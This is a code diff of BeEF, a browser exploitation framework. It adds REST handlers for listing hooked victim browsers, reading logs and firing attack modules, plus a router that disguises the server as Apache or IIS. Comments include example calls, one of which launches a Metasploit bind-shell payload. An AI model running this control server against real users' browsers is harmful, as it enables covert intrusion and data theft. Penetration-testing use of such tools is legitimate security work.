@@ -76,37 +78,18 @@ module Handlers
|
||||
zombie_commands.each{|command| add_command_instructions(command, hooked_browser)}
|
||||
|
||||
# @note We dynamically get the list of all browser hook handler using the API and register them
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, @params, @request, @response)
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, @params, request, response)
|
||||
end
|
||||
|
||||
# @note set response headers and body
|
||||
@response = Rack::Response.new(
|
||||
body = [@body],
|
||||
status = 200,
|
||||
header = {
|
||||
'Pragma' => 'no-cache',
|
||||
headers 'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0',
|
||||
'Content-Type' => 'text/javascript',
|
||||
'Access-Control-Allow-Origin' => '*',
|
||||
'Access-Control-Allow-Methods' => 'POST, GET'
|
||||
}
|
||||
)
|
||||
|
||||
@body
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# @note Object representing the HTTP request
|
||||
@request
|
||||
|
||||
# @note Object representing the HTTP response
|
||||
@response
|
||||
|
||||
# @note A string containing the list of BeEF components active in the hooked browser
|
||||
# @todo Confirm this variable is still used
|
||||
@beef_js_cmps
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -14,8 +14,7 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Initialization
|
||||
module Core
|
||||
module Models
|
||||
#
|
||||
# Table stores the details of browsers.
|
||||
@@ -26,16 +25,7 @@ module Models
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'extension_initialization_browserdetails'
|
||||
|
||||
|
||||
#
|
||||
# Class constructor
|
||||
#
|
||||
def initialize(config)
|
||||
super(config)
|
||||
end
|
||||
|
||||
storage_names[:default] = 'core_browserdetails'
|
||||
property :session_id, String, :length => 255, :key => true
|
||||
property :detail_key, String, :length => 255, :lazy => false, :key => true
|
||||
property :detail_value, Text, :lazy => false
|
||||
@@ -59,7 +49,7 @@ module Models
|
||||
return nil if not get(session_id, detail_key).nil?
|
||||
|
||||
# store the returned browser details
|
||||
browserdetails = BeEF::Extension::Initialization::Models::BrowserDetails.new(
|
||||
browserdetails = BeEF::Core::Models::BrowserDetails.new(
|
||||
:session_id => session_id,
|
||||
:detail_key => detail_key,
|
||||
:detail_value => detail_value)
|
||||
@@ -120,4 +110,3 @@ module Models
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -28,8 +28,6 @@ module Models
|
||||
property :path, Text, :lazy => false
|
||||
|
||||
has n, :commands
|
||||
has 1, :dynamic_command_info
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -56,6 +56,7 @@ module Handlers
|
||||
@allocations.delete(url)
|
||||
@http_server.unmount(url)
|
||||
@http_server.remap
|
||||
print_info "Url [" + url + "] unmounted"
|
||||
end
|
||||
|
||||
# Builds a URL based on the path and extension, if neither are passed a random URL will be generated
|
||||
|
||||
@@ -19,7 +19,7 @@ module NetworkStack
|
||||
module Handlers
|
||||
|
||||
# @note DynamicHandler is used reconstruct segmented traffic from the hooked browser
|
||||
class DynamicReconstruction
|
||||
class DynamicReconstruction < BeEF::Core::Router::Router
|
||||
|
||||
# @note holds packet queue
|
||||
PQ = Array.new()
|
||||
@@ -27,50 +27,33 @@ module Handlers
|
||||
# @note obtain dynamic mount points from HttpHookServer
|
||||
MOUNTS = BeEF::Core::Server.instance.mounts
|
||||
|
||||
before do
|
||||
error 404 unless !params.empty?
|
||||
headers 'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0'
|
||||
end
|
||||
|
||||
# Combines packet information and pushes to PQ (packet queue), then checks packets
|
||||
def call(env)
|
||||
@request = Rack::Request.new(env)
|
||||
|
||||
# skip packet checking if the request method is HEAD, PUT, DELETE or if parameters == null
|
||||
if not self.is_valid_req(@request)
|
||||
response = Rack::Response.new(
|
||||
body = [],
|
||||
status = 404,
|
||||
header = {
|
||||
'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0'
|
||||
}
|
||||
)
|
||||
return response
|
||||
end
|
||||
|
||||
response = Rack::Response.new(
|
||||
body = [],
|
||||
status = 200,
|
||||
header = {
|
||||
'Pragma' => 'no-cache',
|
||||
get '/' do
|
||||
headers 'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0',
|
||||
'Content-Type' => 'text/javascript',
|
||||
'Access-Control-Allow-Origin' => '*',
|
||||
'Access-Control-Allow-Methods' => 'POST'
|
||||
}
|
||||
)
|
||||
'Access-Control-Allow-Methods' => 'POST, GET'
|
||||
|
||||
PQ << {
|
||||
:beefhook => @request['bh'],
|
||||
:stream_id => Integer(@request['sid']),
|
||||
:packet_id => Integer(@request['pid']),
|
||||
:packet_count => Integer(@request['pc']),
|
||||
:data => @request['d']
|
||||
:beefhook => params[:bh],
|
||||
:stream_id => Integer(params[:sid]),
|
||||
:packet_id => Integer(params[:pid]),
|
||||
:packet_count => Integer(params[:pc]),
|
||||
:data => params[:d]
|
||||
}
|
||||
|
||||
# @todo Test under high load, possibly limit the amount of threads being created
|
||||
Thread.new {
|
||||
check_packets()
|
||||
}
|
||||
response
|
||||
end
|
||||
|
||||
# Check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets
|
||||
@@ -99,8 +82,8 @@ module Handlers
|
||||
begin
|
||||
res = JSON.parse(b64).first
|
||||
res['beefhook'] = packet[:beefhook]
|
||||
res['request'] = @request
|
||||
res['beefsession'] = @request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')]
|
||||
res['request'] = request
|
||||
res['beefsession'] = request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')]
|
||||
execute(res)
|
||||
rescue JSON::ParserError => e
|
||||
print_debug 'Network stack could not decode packet stream.'
|
||||
@@ -132,17 +115,6 @@ module Handlers
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# 1. check methods HEAD, PUT, DELETE. return 404 if these methods are called
|
||||
# 2. check for parameters = null (no parameters). return 404 in this case
|
||||
# @param [Hash] request the Rack HTTP Request.
|
||||
def is_valid_req(request)
|
||||
is_valid = true
|
||||
if request.put? or request.delete? or request.head? or request.params.empty?
|
||||
is_valid = false
|
||||
end
|
||||
is_valid
|
||||
end
|
||||
|
||||
# Assist function for getting parameter from hash
|
||||
# @param [Hash] query Hash to pull key from
|
||||
@@ -152,9 +124,7 @@ module Handlers
|
||||
return nil if query[key].nil?
|
||||
query[key]
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
64
core/main/rest/api.rb
Normal file
64
core/main/rest/api.rb
Normal file
@@ -0,0 +1,64 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Rest
|
||||
|
||||
module RegisterHooksHandler
|
||||
def self.mount_handler(server)
|
||||
server.mount('/api/hooks', BeEF::Core::Rest::HookedBrowsers.new)
|
||||
end
|
||||
end
|
||||
|
||||
module RegisterModulesHandler
|
||||
def self.mount_handler(server)
|
||||
server.mount('/api/modules', BeEF::Core::Rest::Modules.new)
|
||||
end
|
||||
end
|
||||
|
||||
module RegisterLogsHandler
|
||||
def self.mount_handler(server)
|
||||
server.mount('/api/logs', BeEF::Core::Rest::Logs.new)
|
||||
end
|
||||
end
|
||||
|
||||
module RegisterAdminHandler
|
||||
def self.mount_handler(server)
|
||||
server.mount('/api/admin', BeEF::Core::Rest::Admin.new)
|
||||
end
|
||||
end
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterHooksHandler, BeEF::API::Server, 'mount_handler')
|
||||
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterModulesHandler, BeEF::API::Server, 'mount_handler')
|
||||
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterLogsHandler, BeEF::API::Server, 'mount_handler')
|
||||
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAdminHandler, BeEF::API::Server, 'mount_handler')
|
||||
|
||||
#
|
||||
# Check the source IP is within the permitted subnet
|
||||
# This is from extensions/admin_ui/controllers/authentication/authentication.rb
|
||||
#
|
||||
def self.permitted_source?(ip)
|
||||
# get permitted subnet
|
||||
permitted_ui_subnet = BeEF::Core::Configuration.instance.get("beef.restrictions.permitted_ui_subnet")
|
||||
target_network = IPAddr.new(permitted_ui_subnet)
|
||||
|
||||
# test if ip within subnet
|
||||
return target_network.include?(ip)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
75
core/main/rest/handlers/admin.rb
Normal file
75
core/main/rest/handlers/admin.rb
Normal file
@@ -0,0 +1,75 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
module BeEF
|
||||
module Core
|
||||
module Rest
|
||||
class Admin < BeEF::Core::Router::Router
|
||||
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
before do
|
||||
# error 401 unless params[:token] == config.get('beef.api_token')
|
||||
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
|
||||
headers 'Content-Type' => 'application/json; charset=UTF-8',
|
||||
'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0'
|
||||
end
|
||||
|
||||
# @note Authenticate using the config set username/password to retrieve the "token" used for subsquent calls.
|
||||
# Return the secret token used for subsquene tAPI calls.
|
||||
#
|
||||
# Input must be specified in JSON format
|
||||
#
|
||||
# +++ Example: +++
|
||||
#POST /api/admin/login HTTP/1.1
|
||||
#Host: 127.0.0.1:3000
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
#Content-Length: 18
|
||||
#
|
||||
#{"username":"beef", "password":"beef"}
|
||||
#===response (snip)===
|
||||
#HTTP/1.1 200 OK
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
#Content-Length: 35
|
||||
#
|
||||
#{"success":"true","token":"122323121"}
|
||||
#
|
||||
post '/login' do
|
||||
request.body.rewind
|
||||
begin
|
||||
data = JSON.parse request.body.read
|
||||
# check username and password
|
||||
if not (data['username'].eql? config.get('beef.credentials.user') and data['password'].eql? config.get('beef.credentials.passwd') )
|
||||
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{request.ip} has failed to authenticate in the application.")
|
||||
halt 401
|
||||
else
|
||||
{ "success" => true,
|
||||
"token" => "#{config.get('beef.api_token')}"
|
||||
}.to_json
|
||||
end
|
||||
rescue Exception => e
|
||||
error 400
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
89
core/main/rest/handlers/hookedbrowsers.rb
Normal file
89
core/main/rest/handlers/hookedbrowsers.rb
Normal file
@@ -0,0 +1,89 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
module BeEF
|
||||
module Core
|
||||
module Rest
|
||||
class HookedBrowsers < BeEF::Core::Router::Router
|
||||
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
before do
|
||||
error 401 unless params[:token] == config.get('beef.api_token')
|
||||
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
|
||||
headers 'Content-Type' => 'application/json; charset=UTF-8',
|
||||
'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0'
|
||||
end
|
||||
|
||||
# @note Get online and offline hooked browsers details (like name, version, os, ip, port, ...)
|
||||
get '/' do
|
||||
online_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 15)))
|
||||
offline_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 15)))
|
||||
|
||||
output = {
|
||||
'hooked-browsers' => {
|
||||
'online' => online_hooks,
|
||||
'offline' => offline_hooks
|
||||
}
|
||||
}
|
||||
output.to_json
|
||||
end
|
||||
|
||||
# @note Get all the hooked browser details (plugins enabled, technologies enabled, cookies)
|
||||
get '/:session' do
|
||||
hb = BeEF::Core::Models::HookedBrowser.first(:session => params[:session])
|
||||
error 401 unless hb != nil
|
||||
|
||||
details = BeEF::Core::Models::BrowserDetails.all(:session_id => hb.session)
|
||||
result = {}
|
||||
details.each do |property|
|
||||
result[property.detail_key] = property.detail_value
|
||||
end
|
||||
result.to_json
|
||||
end
|
||||
|
||||
def hb_to_json(hbs)
|
||||
hbs_hash = {}
|
||||
i = 0
|
||||
hbs.each do |hb|
|
||||
hbs_hash[i] = (get_hb_details(hb))
|
||||
i+=1
|
||||
end
|
||||
hbs_hash
|
||||
end
|
||||
|
||||
def get_hb_details(hb)
|
||||
details = BeEF::Core::Models::BrowserDetails
|
||||
|
||||
{
|
||||
'name' => details.get(hb.session, 'BrowserName'),
|
||||
'version' => details.get(hb.session, 'BrowserVersion'),
|
||||
'os' => details.get(hb.session, 'OsName'),
|
||||
'platform' => details.get(hb.session, 'SystemPlatform'),
|
||||
'session' => hb.session,
|
||||
'ip' => hb.ip,
|
||||
'domain' => details.get(hb.session, 'HostName'),
|
||||
'port' => hb.port.to_s,
|
||||
'page_uri' => details.get(hb.session, 'PageURI')
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
73
core/main/rest/handlers/logs.rb
Normal file
73
core/main/rest/handlers/logs.rb
Normal file
@@ -0,0 +1,73 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
module BeEF
|
||||
module Core
|
||||
module Rest
|
||||
class Logs < BeEF::Core::Router::Router
|
||||
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
before do
|
||||
error 401 unless params[:token] == config.get('beef.api_token')
|
||||
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
|
||||
headers 'Content-Type' => 'application/json; charset=UTF-8',
|
||||
'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0'
|
||||
end
|
||||
|
||||
# @note Get all global logs
|
||||
get '/' do
|
||||
logs = BeEF::Core::Models::Log.all()
|
||||
logs_to_json(logs)
|
||||
end
|
||||
|
||||
# @note Get hooked browser logs
|
||||
get '/:session' do
|
||||
hb = BeEF::Core::Models::HookedBrowser.first(:session => params[:session])
|
||||
error 401 unless hb != nil
|
||||
|
||||
logs = BeEF::Core::Models::Log.all(:hooked_browser_id => hb.id)
|
||||
logs_to_json(logs)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def logs_to_json(logs)
|
||||
logs_json = []
|
||||
count = logs.length
|
||||
|
||||
logs.each do |log|
|
||||
logs_json << {
|
||||
'id' => log.id.to_i,
|
||||
'date' => log.date.to_s,
|
||||
'event' => log.event.to_s,
|
||||
'type' => log.type.to_s
|
||||
}
|
||||
end
|
||||
|
||||
{
|
||||
'logs_count' => count,
|
||||
'logs' => logs_json
|
||||
}.to_json if not logs_json.empty?
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
147
core/main/rest/handlers/modules.rb
Normal file
147
core/main/rest/handlers/modules.rb
Normal file
@@ -0,0 +1,147 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
module BeEF
|
||||
module Core
|
||||
module Rest
|
||||
class Modules < BeEF::Core::Router::Router
|
||||
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
before do
|
||||
error 401 unless params[:token] == config.get('beef.api_token')
|
||||
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
|
||||
headers 'Content-Type' => 'application/json; charset=UTF-8',
|
||||
'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0'
|
||||
end
|
||||
|
||||
# @note Get all available and enabled modules (id, name, category)
|
||||
get '/' do
|
||||
mods = BeEF::Core::Models::CommandModule.all
|
||||
|
||||
mods_hash = {}
|
||||
i = 0
|
||||
mods.each do |mod|
|
||||
modk = BeEF::Module.get_key_by_database_id(mod.id)
|
||||
next if !BeEF::Module.is_enabled(modk)
|
||||
mods_hash[i] = {
|
||||
'id' => mod.id,
|
||||
'class' => config.get("beef.module.#{modk}.class"),
|
||||
'name' => config.get("beef.module.#{modk}.name"),
|
||||
'category' => config.get("beef.module.#{modk}.category")
|
||||
}
|
||||
i+=1
|
||||
end
|
||||
mods_hash.to_json
|
||||
end
|
||||
|
||||
# @note Get the module definition (info, options)
|
||||
get '/:mod_id' do
|
||||
cmd = BeEF::Core::Models::CommandModule.get(params[:mod_id])
|
||||
error 404 unless cmd != nil
|
||||
modk = BeEF::Module.get_key_by_database_id(params[:mod_id])
|
||||
error 404 unless modk != nil
|
||||
|
||||
#todo check if it's possible to also retrieve the TARGETS supported
|
||||
{
|
||||
'name' => cmd.name,
|
||||
'description' => config.get("beef.module.#{cmd.name}.description"),
|
||||
'category'=> config.get("beef.module.#{cmd.name}.category"),
|
||||
'options' => BeEF::Module.get_options(modk) #todo => get also payload options..get_payload_options(modk,text)
|
||||
}.to_json
|
||||
end
|
||||
|
||||
# @note Get the module result for the specific executed command
|
||||
#
|
||||
# Example with the Alert Dialog
|
||||
#GET /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/86/1?token=0a931a461d08b86bfee40df987aad7e9cfdeb050 HTTP/1.1
|
||||
#Host: 127.0.0.1:3000
|
||||
#===response (snip)===
|
||||
#HTTP/1.1 200 OK
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
#
|
||||
#{"date":"1331637093","data":"{\"data\":\"text=michele\"}"}
|
||||
get '/:session/:mod_id/:cmd_id' do
|
||||
hb = BeEF::Core::Models::HookedBrowser.first(:session => params[:session])
|
||||
error 401 unless hb != nil
|
||||
cmd = BeEF::Core::Models::Command.first(:hooked_browser_id => hb.id,
|
||||
:command_module_id => params[:mod_id], :id => params[:cmd_id])
|
||||
error 404 unless cmd != nil
|
||||
result = BeEF::Core::Models::Result.first(:hooked_browser_id => hb.id, :command_id => cmd.id)
|
||||
error 404 unless result != nil
|
||||
{
|
||||
'date' => result.date,
|
||||
'data' => result.data
|
||||
}.to_json
|
||||
end
|
||||
|
||||
# @note Fire a new command module to the specified hooked browser.
|
||||
# Return the command_id of the executed module if it has been fired correctly.
|
||||
# Input must be specified in JSON format
|
||||
#
|
||||
# +++ Example with the Alert Dialog: +++
|
||||
#POST /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/86?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
|
||||
#Host: 127.0.0.1:3000
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
#Content-Length: 18
|
||||
#
|
||||
#{"text":"michele"}
|
||||
#===response (snip)===
|
||||
#HTTP/1.1 200 OK
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
#Content-Length: 35
|
||||
#
|
||||
#{"success":"true","command_id":"1"}
|
||||
#
|
||||
# +++ Example with a Metasploit module (Adobe FlateDecode Stream Predictor 02 Integer Overflow) +++
|
||||
# +++ note that in this case we cannot query BeEF/Metasploit if module execution was successful or not.
|
||||
# +++ this is why there is "command_id":"not_available" in the response
|
||||
#POST /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/236?token=83f13036060fd7d92440432dd9a9b5e5648f8d75 HTTP/1.1
|
||||
#Host: 127.0.0.1:3000
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
#Content-Length: 81
|
||||
#
|
||||
#{"SRVPORT":"3992", "URIPATH":"77345345345dg", "PAYLOAD":"generic/shell_bind_tcp"}
|
||||
#===response (snip)===
|
||||
#HTTP/1.1 200 OK
|
||||
#Content-Type: application/json; charset=UTF-8
|
||||
#Content-Length: 35
|
||||
#
|
||||
#{"success":"true","command_id":"not_available"}
|
||||
post '/:session/:mod_id' do
|
||||
hb = BeEF::Core::Models::HookedBrowser.first(:session => params[:session])
|
||||
error 401 unless hb != nil
|
||||
modk = BeEF::Module.get_key_by_database_id(params[:mod_id])
|
||||
error 404 unless modk != nil
|
||||
|
||||
request.body.rewind
|
||||
begin
|
||||
data = JSON.parse request.body.read
|
||||
options = []
|
||||
data.each{|k,v| options.push({'name' => k, 'value' => v})}
|
||||
exec_results = BeEF::Module.execute(modk, params[:session], options)
|
||||
exec_results != nil ? '{"success":"true","command_id":"'+exec_results.to_s+'"}' : '{"success":"false"}'
|
||||
rescue Exception => e
|
||||
print_error "Invalid JSON input for module '#{params[:mod_id]}'"
|
||||
error 400 # Bad Request
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -14,23 +14,17 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
module Core
|
||||
module Router
|
||||
|
||||
class DynamicCommandInfo
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'core_dynamiccommandinfo'
|
||||
|
||||
property :id, Serial
|
||||
property :name, Text, :lazy => false
|
||||
property :description, Text, :lazy => false
|
||||
property :targets, Text, :lazy => false
|
||||
belongs_to :command_module
|
||||
|
||||
module RegisterRouterHandler
|
||||
def self.mount_handler(server)
|
||||
server.mount('/', BeEF::Core::Router::Router.new)
|
||||
end
|
||||
end
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Core::Router::RegisterRouterHandler, BeEF::API::Server, 'mount_handler')
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
258
core/main/router/router.rb
Normal file
258
core/main/router/router.rb
Normal file
@@ -0,0 +1,258 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
module BeEF
|
||||
module Core
|
||||
module Router
|
||||
|
||||
#@note This is the main Router parent class.
|
||||
#@note All the HTTP handlers registered on BeEF will extend this class.
|
||||
class Router < Sinatra::Base
|
||||
|
||||
config = BeEF::Core::Configuration.instance
|
||||
configure do
|
||||
set :show_exceptions, false
|
||||
end
|
||||
|
||||
# @note Override default 404 HTTP response
|
||||
not_found do
|
||||
if config.get("beef.http.web_server_imitation.enable")
|
||||
type = config.get("beef.http.web_server_imitation.type")
|
||||
case type
|
||||
when "apache"
|
||||
#response body
|
||||
"<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">" +
|
||||
"<html><head>" +
|
||||
"<title>404 Not Found</title>" +
|
||||
"</head><body>" +
|
||||
"<h1>Not Found</h1>" +
|
||||
"<p>The requested URL was not found on this server.</p>" +
|
||||
"<hr>" +
|
||||
"<address>Apache/2.2.3 (CentOS)</address>" +
|
||||
"</body></html>"
|
||||
when "iis"
|
||||
#response body
|
||||
"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">" +
|
||||
"<HTML><HEAD><TITLE>The page cannot be found</TITLE>" +
|
||||
"<META HTTP-EQUIV=\"Content-Type\" Content=\"text/html; charset=Windows-1252\">" +
|
||||
"<STYLE type=\"text/css\">" +
|
||||
" BODY { font: 8pt/12pt verdana } " +
|
||||
" H1 { font: 13pt/15pt verdana }" +
|
||||
" H2 { font: 8pt/12pt verdana }" +
|
||||
" A:link { color: red }" +
|
||||
" A:visited { color: maroon }" +
|
||||
"</STYLE>" +
|
||||
"</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>" +
|
||||
"<h1>The page cannot be found</h1>" +
|
||||
"The page you are looking for might have been removed, had its name changed, or is temporarily unavailable." +
|
||||
"<hr>" +
|
||||
"<p>Please try the following:</p>" +
|
||||
"<ul>" +
|
||||
"<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>" +
|
||||
"<li>If you reached this page by clicking a link, contact" +
|
||||
" the Web site administrator to alert them that the link is incorrectly formatted." +
|
||||
"</li>" +
|
||||
"<li>Click the <a href=\"javascript:history.back(1)\">Back</a> button to try another link.</li>" +
|
||||
"</ul>" +
|
||||
"<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>" +
|
||||
"<hr>" +
|
||||
"<p>Technical Information (for support personnel)</p>" +
|
||||
"<ul>" +
|
||||
"<li>Go to <a href=\"http://go.microsoft.com/fwlink/?linkid=8180\">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>" +
|
||||
"<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr)," +
|
||||
"and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>" +
|
||||
"</ul>" +
|
||||
"</TD></TR></TABLE></BODY></HTML>"
|
||||
else
|
||||
"Not Found."
|
||||
end
|
||||
else
|
||||
"Not Found."
|
||||
end
|
||||
end
|
||||
|
||||
before do
|
||||
# @note Override Server HTTP response header
|
||||
if config.get("beef.http.web_server_imitation.enable")
|
||||
type = config.get("beef.http.web_server_imitation.type")
|
||||
case type
|
||||
when "apache"
|
||||
headers "Server" => "Apache/2.2.3 (CentOS)",
|
||||
"Content-Type" => "text/html"
|
||||
|
||||
when "iis"
|
||||
headers "Server" => "Microsoft-IIS/6.0",
|
||||
"X-Powered-By" => "ASP.NET",
|
||||
"Content-Type" => "text/html"
|
||||
else
|
||||
print_error "You have and error in beef.http.web_server_imitation.type! Supported values are: apache, iis."
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# @note Default root page
|
||||
get "/" do
|
||||
if config.get("beef.http.web_server_imitation.enable")
|
||||
type = config.get("beef.http.web_server_imitation.type")
|
||||
case type
|
||||
when "apache"
|
||||
"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.1//EN\" \"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\">" +
|
||||
"<head>" +
|
||||
"<title>Apache HTTP Server Test Page powered by CentOS</title>" +
|
||||
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />" +
|
||||
"<style type=\"text/css\">" +
|
||||
"body {" +
|
||||
"background-color: #fff; " +
|
||||
"color: #000;" +
|
||||
"font-size: 0.9em;" +
